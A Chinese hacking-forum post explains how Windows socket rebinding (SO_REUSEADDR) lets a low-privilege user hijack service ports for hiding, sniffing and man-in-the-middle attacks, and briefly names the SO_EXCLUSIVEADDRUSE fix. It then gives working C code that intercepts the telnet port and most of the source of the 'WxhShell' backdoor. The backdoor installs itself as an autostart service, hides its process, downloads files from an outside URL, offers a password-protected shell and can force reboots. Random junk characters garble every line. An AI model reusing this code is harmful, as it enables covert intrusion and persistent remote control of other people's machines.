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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \A `hj~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7Cjd.0T=(  
_C\[DR0n  
  saddr.sin_family = AF_INET; 47r_y\U h  
uxg9yp@|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); X0 -IRJ[  
dD<fn9t  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -@>BHC  
< j$#9QQ1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 "RVcA",  
nA?Hxos  
  这意味着什么?意味着可以进行如下的攻击: zrVC8Wb  
6h3HDFS7s  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6Es? MW=  
azjEq$<M  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) y2O4I'/5<  
(Qgde6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2 xw6 5z  
<8UYhGK  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  fF*`'i=!  
=h(W4scgqX  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 h;5LgAY|v  
qo)?8kx>l  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 3D9 !M-  
Yxv9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^I KO2Ft  
`IYuz:  
  #include  p0.|<  
  #include M4ozTp<$O  
  #include K/ &?VIi`z  
  #include    fjnTe  
  DWORD WINAPI ClientThread(LPVOID lpParam);    `[zQf  
  int main() GRy-+#,b"  
  { eT'nl,e|  
  WORD wVersionRequested; ::n;VY2&  
  DWORD ret; K;7f?52  
  WSADATA wsaData; Nr2C@FU:0  
  BOOL val; "uLjIIl  
  SOCKADDR_IN saddr; C0=9K@FCb  
  SOCKADDR_IN scaddr; @DW[Z`X  
  int err; "o& E2#  
  SOCKET s; ;X,1&#I  
  SOCKET sc; R{,ooxH\J  
  int caddsize; |}){}or  
  HANDLE mt; 569}Xbc/  
  DWORD tid;   /S:F)MO9  
  wVersionRequested = MAKEWORD( 2, 2 ); ( *G\g=D  
  err = WSAStartup( wVersionRequested, &wsaData ); cNzt%MjP  
  if ( err != 0 ) { w@2Vts  
  printf("error!WSAStartup failed!\n"); J==SZ v  
  return -1; , n !vsIN  
  } R];Ox e  
  saddr.sin_family = AF_INET; M>jtFP <S  
   hO{cvHy`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0=wK:Ex  
x*oWa,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ch5s<x#CE  
  saddr.sin_port = htons(23); >]'yK!a?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9*6]&:fm  
  { \qsw"B*tv`  
  printf("error!socket failed!\n"); L]a`"CH:a$  
  return -1; TEUY3z[g  
  } KlK`;cr?  
  val = TRUE; \3Oij^l 0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @|ye qy_:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2?Ye*-  
  { ry};m_BY  
  printf("error!setsockopt failed!\n"); TJ?g%  
  return -1; =Nz0.:  
  } !gwjN_ZJ^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; -#-p1^v}  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4 !`bZ`_Bw  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \EbbkN:D  
Hy{ Q#fq  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $]aBe !  
  { GC8}X;((Y  
  ret=GetLastError(); y( r1I[W'  
  printf("error!bind failed!\n"); r%Rs0)$yj  
  return -1; 3+MB5 T  
  } `ir3YnT+  
  listen(s,2); Ql?^ B SqG  
  while(1) 9ykM3  
  { "s W-_j]  
  caddsize = sizeof(scaddr); 8GJdRL(  
  //接受连接请求 .AV)'j#6P  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3*DXE9gA9  
  if(sc!=INVALID_SOCKET) ^GN8V-X4y  
  { "Clz'J]{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ')+0nPV  
  if(mt==NULL) b(GFMk  
  { 4^c- D  
  printf("Thread Creat Failed!\n"); E04l|   
  break; OH<?DcfeL  
  } ps1YQ3Ep&  
  } Bz8 &R|~>"  
  CloseHandle(mt); n)8Yj/5  
  } oN[Th  
  closesocket(s); b|^I<7  
  WSACleanup(); :lcea6iO  
  return 0; B~r}c4R{7  
  }   x )5V.q  
  DWORD WINAPI ClientThread(LPVOID lpParam) >L((2wfiN  
  { xu%'GZ,o9  
  SOCKET ss = (SOCKET)lpParam; KB{RU'?f|  
  SOCKET sc; vnX  
  unsigned char buf[4096]; Ex@`O+  
  SOCKADDR_IN saddr; tP ~zKU  
  long num; 9 -h.|T2il  
  DWORD val; {I%y;Aab8  
  DWORD ret; _X5_ez^/=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 .R 44$F  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   t[.W$1=  
  saddr.sin_family = AF_INET; {}e^eJ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !7H6i#g*  
  saddr.sin_port = htons(23); |oKu=/[K  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4h 5_M8I  
  { \Z)1 ?fq  
  printf("error!socket failed!\n"); Uv?'m&_  
  return -1; 1uG=`k8'k  
  } o|S)C<w  
  val = 100; <MD;@_Nz\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ru.5fQ U  
  { p(3sgY1  
  ret = GetLastError(); 7-iIay1h"  
  return -1; v<rF'D2  
  } /dHs &SU,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jThbeY[  
  { Wz=OSH7"f  
  ret = GetLastError(); |:iEfi]j  
  return -1; I{.HO<$7D}  
  } -R+zeu(e'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /MMtTB H  
  { * UcjQ  
  printf("error!socket connect failed!\n"); u?Hb(xZtg=  
  closesocket(sc); '% 4P;HO  
  closesocket(ss); P 15:,9D  
  return -1; p,#6 @*  
  } 'qeP6}M  
  while(1) XDmbm*~i  
  { ySX/=T:<;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Y^lQX~I2{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;x[pM_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  b;vNq  
  num = recv(ss,buf,4096,0); }Jxq'B  
  if(num>0) +mWjBY  
  send(sc,buf,num,0); a|x8=H  
  else if(num==0) p]f&mBO*  
  break; rZC3\,W  
  num = recv(sc,buf,4096,0);  ]6~k4  
  if(num>0) mxtgb$*  
  send(ss,buf,num,0); 19y 0$e_V  
  else if(num==0) 3z,2utH  
  break; #tz8{o?ebN  
  } i&F~=Q`  
  closesocket(ss); `7B14:\A  
  closesocket(sc); (&Q)EBdm  
  return 0 ; ya>N.h  
  } !A-;NGxE  
u~Lu<3v  
Y?!/>q  
========================================================== ;/A}}B]y  
NG-`ag`s  
下边附上一个代码,,WXhSHELL 5ZsDgOeY  
Sr7@buF  
========================================================== m!!;/e?yx  
02M7gBS  
#include "stdafx.h" &t[|%c*D&  
&wGg6$  
#include <stdio.h> rt;gC[3\  
#include <string.h> g\J)= ,ju,  
#include <windows.h> )+B=z}:Nfz  
#include <winsock2.h> GMb!Q0I8  
#include <winsvc.h> NKh,z& _5-  
#include <urlmon.h> u[[/w&UV.,  
`i4I!E  
#pragma comment (lib, "Ws2_32.lib") !u0U5>ccw  
#pragma comment (lib, "urlmon.lib") [f(uqLdeM  
#_p  
#define MAX_USER   100 // 最大客户端连接数 ![Hhxu  
#define BUF_SOCK   200 // sock buffer Q!) z)-hI  
#define KEY_BUFF   255 // 输入 buffer bw;iz ,Z  
1}DerX6  
#define REBOOT     0   // 重启 :|($,3*  
#define SHUTDOWN   1   // 关机 c,AZ/t  
/'`6 ; uRN  
#define DEF_PORT   5000 // 监听端口 PdjCv+R6?  
[;F{mN  
#define REG_LEN     16   // 注册表键长度 VD4S_qx  
#define SVC_LEN     80   // NT服务名长度 /C7svH  
Ns~ g+C9  
// 从dll定义API G;9|%yvd8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0~.)GG%R>D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8!6<p[_  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); okh0 _4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g`{Dxb,t  
o3= .T+B  
// wxhshell配置信息 JOgmF_(>Z  
struct WSCFG { "?+UI   
  int ws_port;         // 监听端口 5 2fO)!  
  char ws_passstr[REG_LEN]; // 口令 $uTlbAuv  
  int ws_autoins;       // 安装标记, 1=yes 0=no %IPyCEJD  
  char ws_regname[REG_LEN]; // 注册表键名 dc)wu]  
  char ws_svcname[REG_LEN]; // 服务名 _32/WQF6  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mR6E]TuM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2}>go^#O/w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M+\rX1T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~|qXtds$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" - Ra\^uz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .0KOnLdK  
I(y`)$}  
}; 0A@-9w=u  
"1\(ZKG8^Q  
// default Wxhshell configuration =^ gvZ| ]  
struct WSCFG wscfg={DEF_PORT, @V7;TJk  
    "xuhuanlingzhe", "&| lO|  
    1, *SXSF95  
    "Wxhshell", CARq^xI-  
    "Wxhshell", ,%.:g65%  
            "WxhShell Service", d7\k  gh  
    "Wrsky Windows CmdShell Service", ;q'DGzh  
    "Please Input Your Password: ", 1.uUMW  
  1, KgL<}=S  
  "http://www.wrsky.com/wxhshell.exe", +i2YX7Of  
  "Wxhshell.exe" rR3m' [  
    }; EF0Pt  
`g2&{)3k  
// 消息定义模块 6{lG1\o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $;Q=iv 3  
char *msg_ws_prompt="\n\r? for help\n\r#>";  %L{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]kzv8#  
char *msg_ws_ext="\n\rExit."; hw7~i  
char *msg_ws_end="\n\rQuit."; Cd$dn HVh  
char *msg_ws_boot="\n\rReboot..."; P~n8EO1r  
char *msg_ws_poff="\n\rShutdown..."; CuF%[9[cT  
char *msg_ws_down="\n\rSave to "; ,,zd.9n  
(c  u'  
char *msg_ws_err="\n\rErr!"; _95- -\  
char *msg_ws_ok="\n\rOK!"; ;sm"\.jF  
!XkymIX~O.  
char ExeFile[MAX_PATH]; k{zs578h2  
int nUser = 0; 7=; D0SS  
HANDLE handles[MAX_USER]; q+r ` e  
int OsIsNt; M ,Zm|3L  
C+ZQB)gn  
SERVICE_STATUS       serviceStatus; 1y_fQ+\2A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; EKV+?jj$  
>Iu]T{QNO  
// 函数声明 EY,;e\7O,  
int Install(void); "u .)X3  
int Uninstall(void); TXZ(mj?  
int DownloadFile(char *sURL, SOCKET wsh); CM+F7#T?n  
int Boot(int flag); $,xtif0  
void HideProc(void); c,+L +  
int GetOsVer(void); Aqx3!  
int Wxhshell(SOCKET wsl); \7OJN ~&<  
void TalkWithClient(void *cs); H5 p}Le  
int CmdShell(SOCKET sock); $]Q*E4(kV9  
int StartFromService(void); ]}UeuF\  
int StartWxhshell(LPSTR lpCmdLine); u=_bM2;~Z  
5bu[}mJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .5jnKU8NF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >X-ed  
s BeP;ox  
// 数据结构和表定义 `@VM<av  
SERVICE_TABLE_ENTRY DispatchTable[] = )x_W&*oZ  
{ HPu/. oE  
{wscfg.ws_svcname, NTServiceMain}, krEH`f  
{NULL, NULL} L:|X/c9r[  
}; EqNz L*E  
]Ct`4pA  
// 自我安装 = ]dz1~/  
int Install(void) Q#yu(  
{ }1X11+/W  
  char svExeFile[MAX_PATH]; Wto@u4  
  HKEY key; `'A(`. CL  
  strcpy(svExeFile,ExeFile); CF4Oh-f  
i?1js! 8  
// 如果是win9x系统,修改注册表设为自启动 qK 9L+i  
if(!OsIsNt) { j`[yoAH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kR`6s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D:ql^{~  
  RegCloseKey(key); -dc"N|.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }mtC6G41Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pXpLL_  
  RegCloseKey(key); 2|T|K?R^  
  return 0; \Y>#^b?  
    } zR3lX}g  
  } XudH  
} Qwp\)jVi  
else { }(f.uN_v  
n6}E4Eno  
// 如果是NT以上系统,安装为系统服务 O&rD4#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~I/>i&|M1  
if (schSCManager!=0) Y1yvI  
{ Q*mMF@-:  
  SC_HANDLE schService = CreateService RJ=c[nb  
  ( s&_IWala  
  schSCManager, A/Fs?m{7U  
  wscfg.ws_svcname, LoV*YSDAY  
  wscfg.ws_svcdisp, [pRVZV  
  SERVICE_ALL_ACCESS, 8zWBXV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , & 8:iB {n  
  SERVICE_AUTO_START, K 8yyxJ  
  SERVICE_ERROR_NORMAL, X,iuz/Q  
  svExeFile, U:pLnNp`  
  NULL, D 7;~x]*  
  NULL, v4,syd*3|V  
  NULL, Us@ {w`T  
  NULL, y ? {PoNI  
  NULL n{qw ]/  
  ); @LkW_  
  if (schService!=0) ]X"i~$T1S  
  { )z*$`?)k  
  CloseServiceHandle(schService); )l[7;ZIw$  
  CloseServiceHandle(schSCManager); yoA*\V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); go%X%Os]  
  strcat(svExeFile,wscfg.ws_svcname); =aCIaL&9Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I%zo>s6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5Ky9Pz  
  RegCloseKey(key); <76=H]h~  
  return 0;  \3y=0  
    } 9q0,K" x)  
  } Ygkd~g  
  CloseServiceHandle(schSCManager); \.{pZMM  
} Z+"E*  
} ^v'g~+@o  
qdkTg:QJ,  
return 1; -~Z@,  
} [(e`b  
Velbq  
// 自我卸载 )>#<S0>'j  
int Uninstall(void) K~hlwjrt  
{ -WHwz m  
  HKEY key; FDGKMGZ  
r<f-v_bxF  
if(!OsIsNt) { J\,e/{,X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UXdC<(vK  
  RegDeleteValue(key,wscfg.ws_regname); 0wE8Gm G  
  RegCloseKey(key); FUTyx"   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J<P/w%i2  
  RegDeleteValue(key,wscfg.ws_regname); bl=*3qB  
  RegCloseKey(key); ?k7/`g U  
  return 0; K?9H.#(  
  } $lG--s  
} ]I*#R9  
} |sZ9 /G7  
else {  q&Ua(I  
J`D<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V:" \(Y  
if (schSCManager!=0) va*>q-QCr  
{ ea[a)Z7#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xyJgHbml  
  if (schService!=0) <wGT s6  
  { Xk fUPbU  
  if(DeleteService(schService)!=0) { f.xSr!  
  CloseServiceHandle(schService); r@V(w`  
  CloseServiceHandle(schSCManager);  D]>86&  
  return 0; T6?d`i i1  
  } 6V_5BpXt  
  CloseServiceHandle(schService); Pc:'>,3!V3  
  } ~(doy@0M  
  CloseServiceHandle(schSCManager); "e};?|y  
} vR.6^q  
} %^@0tT  
Fb4S /_ V  
return 1; -){^ Q:u  
} oIR%{`3"I  
58gt*yVu  
// 从指定url下载文件 Q]koj!mMl  
int DownloadFile(char *sURL, SOCKET wsh) U?m?8vhR6(  
{ _@ 3O`  
  HRESULT hr; 5<ya;iK  
char seps[]= "/"; 9mtC"M<   
char *token; %RF   
char *file; BO cEL%+  
char myURL[MAX_PATH]; )UU6\2^  
char myFILE[MAX_PATH]; ' xq5tRg>  
L$07u{Q  
strcpy(myURL,sURL); Z"8cGN'  
  token=strtok(myURL,seps); # 2t\>7]  
  while(token!=NULL) HE .Dl7 {  
  { [8g\pPQ  
    file=token; t $ ~:C  
  token=strtok(NULL,seps); sU3V)7"  
  } 8i 'jkyInT  
.\\#~r`t3  
GetCurrentDirectory(MAX_PATH,myFILE); *>H'@gS  
strcat(myFILE, "\\"); o~N-x*   
strcat(myFILE, file); \A"a>e  
  send(wsh,myFILE,strlen(myFILE),0); 9jFDBy+  
send(wsh,"...",3,0); L.&Vi"M <@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Gi_X+os  
  if(hr==S_OK) ^O9m11  
return 0; <}>-ip?  
else -P uVI5L<  
return 1; gM]/Y6 *$b  
\FX3=WW  
} xg!\C@$  
VH*(>^Of F  
// 系统电源模块 5 `mVe0uI  
int Boot(int flag) i; uM!d}  
{ b<MMli  
  HANDLE hToken; os+wTUR^  
  TOKEN_PRIVILEGES tkp; dKG<"  
obkv ]~  
  if(OsIsNt) { a'.=.eDQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \shoLp   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u"3cSuqy  
    tkp.PrivilegeCount = 1; lw lW.C  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :7]R2JP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g5]DA.&(  
if(flag==REBOOT) { *\5H\s9<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) blS4AQ?b^  
  return 0; A}}t86T  
} O$ oN1  
else { ;L{y3CWT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gU$3Y#R  
  return 0; Z.19v>-c  
} SaScP  
  } rV{e[fGd  
  else { N1+]3kt ~  
if(flag==REBOOT) { N1t:i? q&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _dY}86{  
  return 0; XX+rf  
} L^Af3]]2  
else { hkm3\wg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U;Wmx  
  return 0; TMs\#  
} &Vm[5XW  
} ~~ w4854  
b?^<';,5  
return 1; (6aZQ`H  
} j|w+=A1  
AY]nc# zz  
// win9x进程隐藏模块 IT"jtV  
void HideProc(void) \/G Y0s  
{ n*uZ=M_/Q  
 )BB a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7u(i4O& k  
  if ( hKernel != NULL ) &ICO{#v5  
  { 8hY)r~!b'  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :zoX Xo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1jb@n xRjO  
    FreeLibrary(hKernel);  O@$i  
  } u?i1n=Ne  
U9s y]7  
return; S] a$w5ZP  
} &!Vp'l\9  
/J:j'6  
// 获取操作系统版本 CSs6Vm!=  
int GetOsVer(void) YKk%;U*  
{ _XtY/7n  
  OSVERSIONINFO winfo; <k1gc,*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XQPJ(.G  
  GetVersionEx(&winfo);  0]HI c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Wov_jVdN\  
  return 1; +d96Z^KUhv  
  else cm<3'#~Q?  
  return 0; 5{[0Clb)  
} dWSH\wm+  
.BvV[`P  
// 客户端句柄模块 IU}`5+:m  
int Wxhshell(SOCKET wsl) :|TBsd|/x  
{ $+j )  
  SOCKET wsh; a{=~#u8  
  struct sockaddr_in client; 8Sa<I .l  
  DWORD myID; d0d2QRX  
AnQRSB (  
  while(nUser<MAX_USER) ljRR  
{ :gn!3P}p?  
  int nSize=sizeof(client); t/ w>t! q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WqO* vK!t  
  if(wsh==INVALID_SOCKET) return 1; uNjy&I:  
4k 8 @u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :>z0m 0nI\  
if(handles[nUser]==0) H{If\B%1t  
  closesocket(wsh); n@f@-d$m\<  
else q.4DwY5 L  
  nUser++; QQJ cvaQ  
  } 9,IGZ55C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x.I-z@\E  
Wk?XlCj  
  return 0; Pt$7U[N  
} F/h)azcn  
4U3T..wA  
// 关闭 socket O\?ei+(H7  
void CloseIt(SOCKET wsh) Ru/3>n  
{ e5dwq  
closesocket(wsh); :Fh* 4 &Z  
nUser--; ev`p!p  
ExitThread(0); Y (Q8P{@(  
} YAD9'h]d\  
G 8@%)$A  
// 客户端请求句柄 F-m1GG0s  
void TalkWithClient(void *cs) e2>gQ p/  
{ 6xwC1V?:0t  
}0I! n@  
  SOCKET wsh=(SOCKET)cs; 5we1q7  
  char pwd[SVC_LEN]; LYT0 XB)A  
  char cmd[KEY_BUFF]; 'yl`0,3wV  
char chr[1];  -H{{  
int i,j; $%/Zm*H  
1mf_1spB  
  while (nUser < MAX_USER) { fE >FT9c  
&A>J>b  
if(wscfg.ws_passstr) { -1[ri8t;nV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `ainJs:B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i^yQ; 2 -  
  //ZeroMemory(pwd,KEY_BUFF); |e!Sm{#!  
      i=0; r(RJ&\ !  
  while(i<SVC_LEN) { bR.T94-8y  
NoI=t  
  // 设置超时 jd#{66:  
  fd_set FdRead; @E1N9S?>  
  struct timeval TimeOut; ,MdCeA%`  
  FD_ZERO(&FdRead); s`TfNwDvU  
  FD_SET(wsh,&FdRead); _:T\[sz5  
  TimeOut.tv_sec=8; %k"-rmW  
  TimeOut.tv_usec=0; 7l?-2I'c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~*&_zPTN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Mb-C DPT  
tUzuel*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *}FoeDe  
  pwd=chr[0]; Rzz*[H  
  if(chr[0]==0xd || chr[0]==0xa) { @qeI4io-n  
  pwd=0; `":< ]lj  
  break; avdi9!J2  
  } w(VH>t  
  i++; 'EXp[*  
    } ).LJY<A  
o4d>c{p  
  // 如果是非法用户,关闭 socket X)\t=><<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P'zA=Rd&~>  
} {2-w<t  
Xod#$'M>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nlh%O@,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /|Zk$q.\  
bjbm"~  
while(1) { [<6ez;2q'  
[(]uin+9Q  
  ZeroMemory(cmd,KEY_BUFF); uV{cvq$jy  
fy7]I?vm@  
      // 自动支持客户端 telnet标准   eR?`o!@y  
  j=0; GDhg VOW(  
  while(j<KEY_BUFF) { L ej3? k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )%P!<|s:5  
  cmd[j]=chr[0]; Ymx/N+Jl  
  if(chr[0]==0xa || chr[0]==0xd) { g\d|/HV K  
  cmd[j]=0; K-#v5_*  
  break; H&l/o  
  } c.r]w  
  j++; j%0D:jOY]  
    } V4iN2  
0jG8Gmh!  
  // 下载文件 kk& ([ xqU  
  if(strstr(cmd,"http://")) { ("ql//SL  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SK#; /fav6  
  if(DownloadFile(cmd,wsh)) r3;?]r.}7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Iy'a2@   
  else Xbe=_9l&p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sw%^&*J  
  } >E6w,Ab  
  else { `|+!H.3  
uL`_Sdjw  
    switch(cmd[0]) { V-IXtQR  
  G,3.'S,7  
  // 帮助 lh{U@,/  
  case '?': { =[`B -?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s +"?j  
    break; s: pmB\  
  } .liVlo@  
  // 安装  YH@p\#Y  
  case 'i': { <BEM`2B  
    if(Install()) /{|JQ'gqX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3vepJ) D (  
    else SN' j?-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D.su^m_1  
    break; R0HzNk  
    } Z7J8%ywQ  
  // 卸载 K+p7yZJ  
  case 'r': { f@rR2xZoQ  
    if(Uninstall()) }Ox5,S}ra  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v4OroG=^  
    else #-W a3P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i_Ol vuy~  
    break; ?$J#jhR?  
    } |ZC@l^a7  
  // 显示 wxhshell 所在路径 n|q $=jE  
  case 'p': { clyZD`*  
    char svExeFile[MAX_PATH]; $MhfGMk!'  
    strcpy(svExeFile,"\n\r"); O4t0 VL$  
      strcat(svExeFile,ExeFile); 7wKT:~~oS3  
        send(wsh,svExeFile,strlen(svExeFile),0); VN]70LFz*i  
    break; > &tmdE  
    } >{R+j4%  
  // 重启 *sz:c3{_  
  case 'b': { | $  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2D;2QdO  
    if(Boot(REBOOT)) RA^6c![  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yzWVUqtXm  
    else { 1)Z4 (_  
    closesocket(wsh); '3R o`p{  
    ExitThread(0); ;#)sV2F\&  
    } E&G]R!  
    break; dT?mMTKn+  
    } "!,)Pv  
  // 关机 #|-i*2@oR  
  case 'd': { A s"% u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XN|[8+#U<@  
    if(Boot(SHUTDOWN)) '8Wu9 phT  
